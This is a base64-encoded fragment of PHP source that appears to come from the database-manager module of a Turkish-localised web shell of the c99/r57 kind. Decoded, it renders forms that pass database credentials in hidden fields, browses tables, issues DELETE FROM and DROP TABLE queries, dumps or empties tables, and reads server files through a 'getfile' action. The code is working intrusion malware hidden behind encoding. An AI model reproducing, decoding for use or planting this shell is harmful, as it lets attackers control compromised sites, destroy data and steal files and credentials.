ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgICBmb3JlYWNoICgkdGJsX3N0cnVjdF9maWVsZHMgYXMgJGZpZWxkKQ0KICAgICAgIHsNCiAgICAgICAgJG5hbWUgPSAkZmllbGRbIkFsYW4iXTsNCiAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQ0KICAgICAgICBlY2hvICI8dHI+PHRkPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVGlwIl0uIjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1siLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCI+PG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPjxvcHRpb24+UEFTU1dPUkQ8L29wdGlvbj48b3B0aW9uPk1ENTwvb3B0aW9uPjxvcHRpb24+RU5DUllQVDwvb3B0aW9uPjxvcHRpb24+QVNDSUk8L29wdGlvbj48b3B0aW9uPkNIQVI8L29wdGlvbj48b3B0aW9uPlJBTkQ8L29wdGlvbj48b3B0aW9uPkxBU1RfSU5TRVJUX0lEPC9vcHRpb24+PG9wdGlvbj5DT1VOVDwvb3B0aW9uPjxvcHRpb24+QVZHPC9vcHRpb24+PG9wdGlvbj5TVU08L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiXCI+LS0tLS0tLS08L29wdGlvbj48b3B0aW9uPlNPVU5ERVg8L29wdGlvbj48b3B0aW9uPkxDQVNFPC9vcHRpb24+PG9wdGlvbj5VQ0FTRTwvb3B0aW9uPjxvcHRpb24+Tk9XPC9vcHRpb24+PG9wdGlvbj5DVVJEQVRFPC9vcHRpb24+PG9wdGlvbj5DVVJUSU1FPC9vcHRpb24+PG9wdGlvbj5GUk9NX0RBWVM8L29wdGlvbj48b3B0aW9uPkZST01fVU5JWFRJTUU8L29wdGlvbj48b3B0aW9uPlBFUklPRF9BREQ8L29wdGlvbj48b3B0aW9uPlBFUklPRF9ESUZGPC9vcHRpb24+PG9wdGlvbj5UT19EQVlTPC9vcHRpb24+PG9wdGlvbj5VTklYX1RJTUVTVEFNUDwvb3B0aW9uPjxvcHRpb24+VVNFUjwvb3B0aW9uPjxvcHRpb24+V0VFS0RBWTwvb3B0aW9uPjxvcHRpb24+Q09OQ0FUPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0WyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdmFsdWVzWyRuYW1lXSkuIlwiIHNpemU9NTA+PC90ZD48L3RyPiI7DQogICAgICAgICRpKys7DQogICAgICAgfQ0KICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7DQogICAgICAgZWNobyAiPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiIjsgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48Yj5ZZW5pIGlsYXZlIHNvazwvYj4iOw0KICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIG9yIDxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjJcIiBjaGVja2VkPjxiPlNhdmU8L2I+IjsgZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKS4iXCI+Ijt9DQogICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVGFtYW1cIj48L2Zvcm0+IjsNCiAgICAgIH0NCiAgICAgfQ0KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJicm93c2UiKQ0KICAgICB7DQogICAgICAkc3FsX3RibF9scyA9IGFicygkc3FsX3RibF9scyk7DQogICAgICAkc3FsX3RibF9sZSA9IGFicygkc3FsX3RibF9sZSk7DQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgICBlY2hvICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPW11bHRpcGFnZVwiIGhlaWdodD1cIjEyXCIgd2lkdGg9XCIxMFwiIGFsdD1cIlNheWZhbGFyXCI+Jm5ic3A7IjsNCiAgICAgICRiID0gMDsNCiAgICAgIGZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKQ0KICAgICAgew0KICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgkaSokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX29yZGVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iJnNxbF90YmxfbHM9Ii4oJGkqJHBlcnBhZ2UpLiImc3FsX3RibF9sZT0iLigkaSokcGVycGFnZSskcGVycGFnZSkuIlwiPjx1PiI7fQ0KICAgICAgIGVjaG8gJGk7DQogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjwvdT48L2E+Ijt9DQogICAgICAgaWYgKCgkaS8zMCA9PSByb3VuZCgkaS8zMCkpIGFuZCAoJGkgPiAwKSkge2VjaG8gIjxicj4iO30NCiAgICAgICBlbHNlIHtlY2hvICImbmJzcDsiO30NCiAgICAgIH0NCiAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30NCiAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9vcmRlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiJcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xlXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xlLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOw0KICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiI7DQogICAgICBlY2hvICI8dHI+IjsNCiAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd19hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPiI7DQogICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KICAgICAgew0KICAgICAgICR2ID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsNCiAgICAgICBpZiAoJGVbMF0gPT0gImEiKSB7JHMgPSAiZCI7ICRtID0gImFzYyI7fQ0KICAgICAgIGVsc2UgeyRzID0gImEiOyAkbSA9ICJkZXNjIjt9DQogICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgaWYgKGVtcHR5KCRlWzBdKSkgeyRlWzBdID0gImEiO30NCiAgICAgICBpZiAoJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQ0KICAgICAgIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfIi4kbS4iXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBhbHQ9XCIiLiRtLiJcIj48L2E+Ijt9DQogICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgfQ0KICAgICAgZWNobyAiPHRkPjxmb250IGNvbG9yPVwiZ3JlZW5cIj48Yj5BY3Rpb248L2I+PC9mb250PjwvdGQ+IjsNCiAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQ0KICAgICAgew0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICR3ID0gIiI7DQogICAgICAgJGkgPSAwOw0KICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOyAkdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzt9DQogICAgICAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyR3ID0gc3Vic3RyKCR3LDAsc3RybGVuKCR3KS0zKTt9DQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93W11cIiB2YWx1ZT1cIiIuJHcuIlwiPjwvdGQ+IjsNCiAgICAgICAkaSA9IDA7DQogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpDQogICAgICAgew0KICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOw0KICAgICAgICBpZiAoJHYgPT0gIiIpIHskdiA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+TlVMTDwvZm9udD4iO30NCiAgICAgICAgZWNobyAiPHRkPiIuJHYuIjwvdGQ+IjsNCiAgICAgICAgJGkrKzsNCiAgICAgICB9DQogICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHcuIiBMSU1JVCAxOyIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIlNJTFwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsNCiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkR1emVubGVcIiBoZWlnaHQ9XCIxNFwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7DQogICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIH0NCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPlNlY2lsZGk6PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5TSUwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVGFtYW1cIj48L2Zvcm0+PC9wPiI7DQogICAgIH0NCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyIsICRzcWxfc29jayk7DQogICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgZWxzZQ0KICAgICB7DQogICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsX2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VGFibGU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGI+Um93czwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPk9sdXN0dXJkPC9iPjwvdGQ+PHRkPjxiPk1vZGlmaWVkPC9iPjwvdGQ+PHRkPjxiPlNpemU8L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOw0KICAgICAgJGkgPSAwOw0KICAgICAgJHRzaXplID0gJHRyb3dzID0gMDsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQ0KICAgICAgew0KICAgICAgICR0c2l6ZSArPSAkcm93WyJEYXRhX2xlbmd0aCJdOw0KICAgICAgICR0cm93cyArPSAkcm93WyJSb3dzIl07DQogICAgICAgJHNpemUgPSB2aWV3X3NpemUoJHJvd1siRGF0YV9sZW5ndGgiXSk7DQogICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsW11cIiB2YWx1ZT1cIiIuJHJvd1siTmFtZSJdLiJcIj48L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkcm93WyJOYW1lIl0pLiJcIj48Yj4iLiRyb3dbIk5hbWUiXS4iPC9iPjwvYT4mbmJzcDs8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siUm93cyJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVGlwIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJPbHVzdHVybWEgWmFtYW5pIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJHdW5jZWxsZW1lIFphbWFuaSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHNpemUuIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9lbXB0eVwiIGFsdD1cIkJPU1wiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiRFJPUCBUQUJMRSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEcm9wXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25faW5zZXJ0XCIgYWx0PVwiU29rIDopXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8L3RkPiI7DQogICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgICRpKys7DQogICAgICB9DQogICAgICBlY2hvICI8dHIgYmdjb2xvcj1cIjAwMDAwMFwiPiI7DQogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4/PC9iPjwvY2VudGVyPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPiIuJGkuIiB0YWJsZShzKTwvYj48L2NlbnRlcj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGI+Ii4kdHJvd3MuIjwvYj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzFdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzEwXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMV0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48Yj4iLnZpZXdfc2l6ZSgkdHNpemUpLiI8L2I+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX2FjdFwiPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+U2VjOjwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGVtcHR5XCI+RW1wdHk8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGR1bXBcIj5EdW1wPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxvcHRpbWl6ZVwiPk9wdGltaXplIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxyZXBhaXJcIj5SZXBhaXIgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFseXplIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJUYW1hbSFcIj48L2Zvcm0+PC9wPiI7DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgfQ0KICAgIH0NCiAgIH0NCiAgIH0NCiAgfQ0KICBlbHNlDQogIHsNCiAgICRhY3RzID0gYXJyYXkoIiIsIm5ld2RiIiwic2VydmVyc3RhdHVzIiwic2VydmVydmFycyIsInByb2Nlc3NlcyIsImdldGZpbGUiKTsNCiAgIGlmIChpbl9hcnJheSgkc3FsX2FjdCwkYWN0cykpIHs/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5PbHVzdHVyIHllbmkgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld2RiIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iT2x1c3R1ciI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+VmlldyBGaWxlOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJnZXRmaWxlIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZ2V0ZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nZXRmaWxlKTsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPjw/cGhwIH0NCiAgIGlmICghZW1wdHkoJHNxbF9hY3QpKQ0KICAgew0KICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICBpZiAoJHNxbF9hY3QgPT0gIm5ld2RiIikNCiAgICB7DQogICAgIGVjaG8gIjxiPiI7DQogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiRGF0YUJhc2UgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIE9sdXN0dXJtYSB0YW1hbWxhbmRpLjwvYj48YnI+Ijt9DQogICAgIGVsc2Uge2VjaG8gIk9sdXN0dXJ1bGFtYWRpIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+U2ViZXA6PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgfQ0KICAgIGlmICgkc3FsX2FjdCA9PSAic2VydmVyc3RhdHVzIikNCiAgICB7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBTVEFUVVMiLCAkc3FsX3NvY2spOw0KICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciBEdXJ1bXUgS2FyYXJzaXo6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIu